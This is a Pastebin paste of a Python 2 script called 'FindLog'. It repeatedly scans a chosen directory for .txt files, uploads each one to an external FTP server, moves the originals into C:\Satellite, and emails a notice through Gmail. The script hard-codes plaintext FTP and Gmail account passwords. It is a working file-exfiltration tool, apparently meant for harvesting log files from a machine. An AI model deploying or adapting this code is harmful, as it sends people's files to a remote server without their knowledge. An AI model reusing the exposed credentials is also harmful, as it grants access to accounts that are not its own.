Advertisement
Guest User

Untitled

a guest
Jun 17th, 2017
557
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 7.80 KB | None | 0 0
  1. __author__="Diego & Oscar y un especial abrazo a Ariel de Argentina por la exelente ayuda en Python"
  2. __date__ ="$08/16/2010 09:53:59 PM$"
  3. from os import path, walk
  4. from ftplib import FTP
  5. import smtplib
  6. import mimetypes
  7. from email.MIMEText import MIMEText
  8. import socket
  9. import sys
  10. import time
  11. import datetime
  12. import shutil
  13. import os
  14. class Log_finder(object):
  15.     def __init__(self):
  16.         self.ftp_server="ftp.t35.com"#Cuenta FTP externa
  17.         self.ftp_user="lexel.t35.com"#Usuario de la cuenta FTP
  18.         self.ftp_pass="atletico"#password de la cuenta FTP
  19.         self.smtp_server="smtp.gmail.com"#cuenta SMTP (se recomienda dejarlo como esta)
  20.         self.smtp_user="logregistersender@gmail.com"#SMTP user
  21.         self.smtp_pass="colegiodelasalle"# SMTP password
  22.         self.directorio2move="C:\Satellite"# directorio a donde seran movido los log files
  23.         self.TUEMAIL = "diegoer_party@hotmail.com"# El email a donde se enviaran la informacion
  24.         self.archivosLogs=[]
  25.         self.archivos=[]
  26.     def titulo(self):
  27.         tit = """ \n
  28. \t  ________  __                  __  __                          
  29. \t /        |/  |                /  |/  |                          
  30. \t $$$$$$$$/ $$/  _______    ____$$ |$$ |        ______    ______  
  31. \t $$ |__    /  |/       \ /    $$ |$$ |       /      \ /      \
  32. \t $$    |   $$ |$$$$$$$  |/$$$$$$$ |$$ |      /$$$$$$  |/$$$$$$  |
  33. \t $$$$$/    $$ |$$ |  $$ |$$ |  $$ |$$ |      $$ |  $$ |$$ |  $$ |
  34. \t $$ |      $$ |$$ |  $$ |$$ \__$$ |$$ |_____ $$ \__$$ |$$ \__$$ |
  35. \t $$ |      $$ |$$ |  $$ |$$    $$ |$$       |$$    $$/ $$    $$ |
  36. \t $$/       $$/ $$/   $$/  $$$$$$$/ $$$$$$$$/  $$$$$$/   $$$$$$$ |
  37. \t                                                       /  \__$$ |
  38. \t                                                       $$    $$/
  39. \t                                                        $$$$$$/
  40.  
  41. \tHerramienta Creada por: Oscar Diaz y Diego Rodriguez\n\n"""
  42.         print "*"*80
  43.         print tit
  44.         print "*"*80
  45.     def sender(self):
  46.         log_ip = "log"
  47.         ftp = FTP(self.ftp_server)
  48.         ftp.login(user=self.ftp_user,passwd=self.ftp_pass)
  49.         arc = str(self.archivos)
  50.         arc = arc.replace("['", "")
  51.         arc = arc.replace("']", "")
  52.         for dic in self.archivosLogs:
  53.        
  54.             print ">>>>>>> %s" %(dic)
  55.             f = open (dic ,"rb")
  56.             ftp.cwd("/log")
  57.             ftp.storbinary('STOR '+arc,f)
  58.             self.mover()
  59.             self.correo()
  60.             self.archivosLogs.remove(dic)
  61.             self.archivos.remove(arc)
  62.  
  63.            
  64.            
  65.     def mover(self):
  66.         if "Satellite" in os.listdir("C:\\"):
  67.             for dirc in self.archivosLogs:
  68.                 try:
  69.                     shutil.move(dirc,self.directorio2move)
  70.                
  71.                 except:
  72.                     print "There was an Error\nPlease check this:"
  73.                     print "\t[-]The directory %s" %(self.directorio2move)
  74.                     print "\t[-]check if the file already exist's"
  75.                     sys.exit(1)
  76.         elif "Satellite" not in os.listdir("C:\\"):
  77.             os.system("mkdir %s" %(self.directorio2move))
  78.             for dirc in self.archivosLogs:
  79.                 try:
  80.                     shutil.move(dirc,self.directorio2move)
  81.                 except:
  82.                     print "There was an Error\nPlease check this:"
  83.                     print "\t[-]The directory %s" %(self.directorio2move)
  84.                     print "\t[-]check if the file already exist's"
  85.                     sys.exit(1)
  86.         else:
  87.             print "[-] Could't create the directory!"
  88.            
  89.            
  90.     def info(self):
  91.         now = datetime.datetime.now()
  92.         now =str(now)
  93.         d = ""
  94.         for dic in self.archivosLogs:
  95.             d += "We have found a Log file in: %s\n" %(dic)
  96.             a =  "The log file have been moved to %s" %(self.directorio2move)
  97.         return """Your local Time is :%s\n %s \n %s  """  %(now,d,a)
  98.        
  99.     def correo(self):
  100.         if self.SMTPTF == True:
  101.             smtp = smtplib.SMTP('smtp.gmail.com',25)
  102.             smtp.ehlo()
  103.             smtp.starttls()
  104.             smtp.ehlo()
  105.             smtp.login(self.smtp_user,self.smtp_pass)
  106.             mensaje = MIMEText(self.info())
  107.             mensaje['From']=self.smtp_user
  108.             mensaje['To']=self.TUEMAIL
  109.             mensaje['Subject']="Se ha Encontrado un Log File en tu systema"
  110.             smtp.sendmail(self.smtp_user,self.TUEMAIL,mensaje.as_string())
  111.  
  112.                
  113.     def conecter(self):
  114.         self.titulo()
  115.         fserver = self.ftp_server
  116.         fuser=self.ftp_user
  117.         fpass=self.ftp_pass
  118.         sserver=self.smtp_server
  119.         suser=self.smtp_user
  120.         spass=self.smtp_pass
  121.         try:
  122.             ftp = FTP(fserver)
  123.             ftp.login(user=fuser,passwd=fpass)
  124.         except BaseException, e:
  125.  
  126.             print '\n [-] Error: %s ' %(e)
  127.         else:
  128.             print "[*]Sucessfuly conencted to: %s" %(fserver)
  129.         if "log" in ftp.nlst():
  130.             print "[+] Found a Log file on the FTP server"
  131.         if "log" not in ftp.nlst():
  132.             print "[+] Creating a Log directory on the FTP server"
  133.             ftp.mkd("/log")
  134.            
  135.  
  136.         try:
  137.             smtp = smtplib.SMTP(sserver,25)
  138.             smtp.ehlo()
  139.             smtp.starttls()
  140.             smtp.ehlo()
  141.             smtp.login(suser,spass)
  142.         except BaseException, e:
  143.             print '\n [-] Error: %s ' %(e)
  144.             self.SMTPTF = False
  145.         else:
  146.             print "[*]Sucessfuly conencted to: %s" %(sserver)
  147.             self.SMTPTF = True
  148.  
  149.  
  150.     def syst(self):
  151.         sis = sys.argv[0:]
  152.         if '-t' in sis:
  153.             try:
  154.                 time = sis[sis.index('-t')+1]
  155.                 if time == '-l':
  156.                     print "[-]There was and Error!\n check your commands!"
  157.                     sys.exit()
  158.            
  159.                 else:
  160.                     self.time = time
  161.             except IndexError:
  162.                 print "[-]Something went wrong!"
  163.                 sys.exit()
  164.         if '-l' in sis:
  165.             try:
  166.                 location = sis[sis.index('-l')+1]
  167.                 if location == '-t':
  168.                     print "[-]There was and Error!\n check your commands!"
  169.                     sys.exit()
  170.                 else:
  171.                     self.location = location
  172.             except IndexError:
  173.                 print "[-]Something went wrong!"
  174.                 sys.exit()
  175.    
  176.         if '-l' not in sis:
  177.             print "You dont select the fuction -l"
  178.             sys.exit()
  179.        
  180.         if '-t' not in sis:
  181.             print "You dotn select the fuction -t"
  182.             sys.exit()
  183.            
  184.     def buscador(self):
  185.        
  186.         try:
  187.             path_to_search = self.location
  188.             timetowait = self.time
  189.             print "The Program Just start Please wait"
  190.             print "Found:"
  191.         except KeyboardInterrupt, IOError:
  192.             print "[-] An Error occured \n Quiting!"
  193.             sys.exit(1)
  194.         while True:
  195.             now = datetime.datetime.now()
  196.             for root, dirs, files in walk(path_to_search):
  197.                 for archivo in files:
  198.                     (shortname, extension) = path.splitext(archivo)  
  199.                                    
  200.                     if extension=='.txt':
  201.                         formato = shortname+" | "+str(now)
  202.                         archivo2 = formato+extension
  203.                         self.archivosLogs.append(path.join(root, archivo))
  204.                         self.archivos.append(archivo2)
  205.                         self.sender()
  206.             time.sleep(timetowait)
  207.  
  208.  
  209.                        
  210. if __name__ == '__main__':
  211.     Log = Log_finder()
  212.     Log.syst()
  213.     Log.conecter()
  214.     Log.buscador()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement